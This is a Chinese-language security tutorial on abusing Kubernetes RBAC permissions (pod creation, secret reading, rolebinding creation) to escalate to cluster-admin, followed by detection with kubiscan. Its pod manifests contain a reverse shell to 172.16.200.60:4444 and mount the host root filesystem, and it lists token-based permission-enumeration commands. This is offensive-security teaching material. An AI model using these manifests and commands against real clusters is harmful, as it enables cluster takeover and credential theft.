在上一篇文章中我们讲了RBAC授权,传送门:K8s API访问控制 。并且绝大多数版本的K8s都默认使用RBAC作为其默认的授权方式。那么RBAC授权在我们进行K8s集群横向移动的时候有哪些可利用点呢?本篇文章我们介绍在K8s集群横向移动时如何滥用RBAC权限,并通过滥用的RBAC权限横向获得集群的cluster-admin权限接管整个K8s集群。
假如我们在K8s集群横向移动的时候,获得了一个kubeconfig文件或者获得了一个Token,亦或者是获得了某台pod的权限。那么接下来我们的横向思路是什么呢?
在之前的文章中我们知道,一个Pod必须要以某一个Service Account的身份去运行,而一个Service Account对应着一个Secret,一个Secret保存着一个Token和公钥文件。所以获得了Pod的权限就意味着获得了一个具有访问K8s API Server的Service Account,只不过默认情况下该Service Account所拥有的权限比较低而已。而获得的Token最终也是可以转换到一个Service Account对象,该Service Account对象的权限取决于它所绑定的角色。而kubeconfig文件也是可以最终转换到对应的访问主体上(User/Group),该kubeconfig文件的权限取决于所对应的主体绑定的角色。
所以这个问题最后就归结到所获得的kubeconfig文件、Token、Pod所对应的主体绑定的角色如何。
以下我们以获得了某个Pod权限为例作为演示,这也是实战中碰到最多的情况。
RBAC权限滥用
#查看是否拥有 cluster-admin 的权限
kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
#列出当前用户对所有服务器资源的访问权限
kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
#列出当前用户对所有指定命名空间的访问权限
kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
#pod相关
kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
创建POD权限
春
指定命名空间
节
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: test
name: create-pod
rules:
- apiGroups: ["*"]
resources: ["pods"]
verbs: ["create","get"]
#在test命名空间创建test-sa服务账户
kubectl create serviceaccount test-sa -n test
#将test-sa与create-pod进行rolebinding
kubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa
#获得服务账户test-sa所对应的secret
kubectl get serviceaccounts test-sa -n test -o yaml
#查看指定secret的Token
kubectl describe secret test-sa-token-s4pgj -n test
apiVersion: v1
kind: Pod
metadata:
name: myapp2
namespace: test
spec:
containers:
- image: nginx
name: container
command: ["bash"]
args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]
volumeMounts:
- mountPath: /mnt
name: test
volumes:
- name: test
hostPath:
path: /
春
集群角色
节
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: create-pod
rules:
- apiGroups: ["*"]
resources: ["pods"]
verbs: ["create","get"]
#在test命名空间创建test-sa10服务账户
kubectl create serviceaccount test-sa10 -n test
#将test-sa10与create-pod进行clusterrolebinding
kubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10
#获得服务账户test-sa所对应的secret
kubectl get serviceaccounts test-sa10 -n test -o yaml
#查看指定secret的Token
kubectl describe secret test-sa10-token-4c8wm -n test
apiVersion: v1
kind: Pod
metadata:
name: myapp
namespace: kube-system
spec:
serviceAccountName: "namespace-controller"
containers:
- image: nginx
name: container
command: ["bash"]
args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]
volumes:
- name: test
hostPath:
path: /
查看secret权限
春
list secret
节
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: list-secret
rules:
- apiGroups: ["*"]
resources: ["secrets"]
verbs: ["list"]
#在test命名空间创建test-sa2服务账户
kubectl create serviceaccount test-sa2 -n test
#将test-sa2与list-secret进行clusterrolebinding
kubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2
#获得服务账户test-sa2所对应的secret
kubectl get serviceaccounts test-sa2 -n test -o yaml
#查看指定secret的Token
kubectl describe secret test-sa2-token-q588z -n test
春
get secret
节
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: get-secret
rules:
- apiGroups: ["*"]
resources: ["secrets"]
verbs: ["get"]
#在test命名空间创建test-sa3服务账户
kubectl create serviceaccount test-sa3 -n test
#将test-sa3与get-secret进行clusterrolebinding
kubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3
#获得服务账户test-sa3所对应的secret
kubectl get serviceaccounts test-sa3 -n test -o yaml
#查看指定secret的Token
kubectl describe secret test-sa3-token-k5tm4 -n test
春
K8s默认的高权限secret
节
kubectl describe secret bootstrap-signer-token-962js -n kube-system
kubectl get RoleBindings -o wide -A | grep bootstrap-signer
kubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system
创建rolebinding/clusterrolebinding权限
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: create-rolebinding
namespace: kube-system
rules:
- apiGroups: ["*"]
resources: ["rolebindings"]
verbs: ["create"]
#在test命名空间创建test-sa5服务账户
kubectl create serviceaccount test-sa5 -n kube-system
#将test-sa5与create-rolebinding进行rolebinding
kubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5
#获得服务账户test-sa5所对应的secret
kubectl get serviceaccounts test-sa5 -n kube-system -o yaml
#查看指定secret的Token
kubectl describe secret test-sa5-token-l455n -n kube-system
检测RBAC权限滥用
查找集群中所有高危的对象
kubiscan -a
查找具有高权限的Role/ClusterRole
#查找具有高权限的Role
kubiscan -rr
#查找具有高权限的Role,并显示具有的规则
kubiscan -rr -r
#查找具有高权限的ClusterRole
kubiscan -rcr
#查找具有高权限的ClusterRole,并显示具有的规则
kubiscan -rcr -r
#查找具有高权限的Role和ClusterRole
kubiscan -rar
#查找具有高权限的Role和ClusterRole,并显示具有的规则
kubiscan -rar -r
查找具有高权限的Rolebindings/ClusterRolebindings
#查找具有高权限的Rolebindings
kubiscan -rb
#查找具有高权限的ClusterRolebindings
kubiscan -rcb
#查找具有高权限的Rolebindings和ClusterRolebindings
kubiscan -rab
查询具有高权限的主体
kubiscan -rp
查找关联了高权限ServiceAccount的pod
kubiscan -rp
查找特权pod
kubiscan -pp
查找指定主体绑定的权限
春
指定命名空间下的ServiceAccount绑定的角色
节
kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"
春
指定User绑定的角色
节
kubiscan -aars "system:kube-controller-manager" -k "User"
春
指定Group绑定的角色
节
kubiscan -aars "system:masters" -k "Group"
查找指定主体的绑定
春
指定命名空间下的ServiceAccount的绑定
节
kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"
春
指定User的绑定
节
kubiscan -aarbs "system:kube-controller-manager" -k "User"
春
指定Group的绑定
节
kubiscan -aarbs "system:masters" -k "Group"
END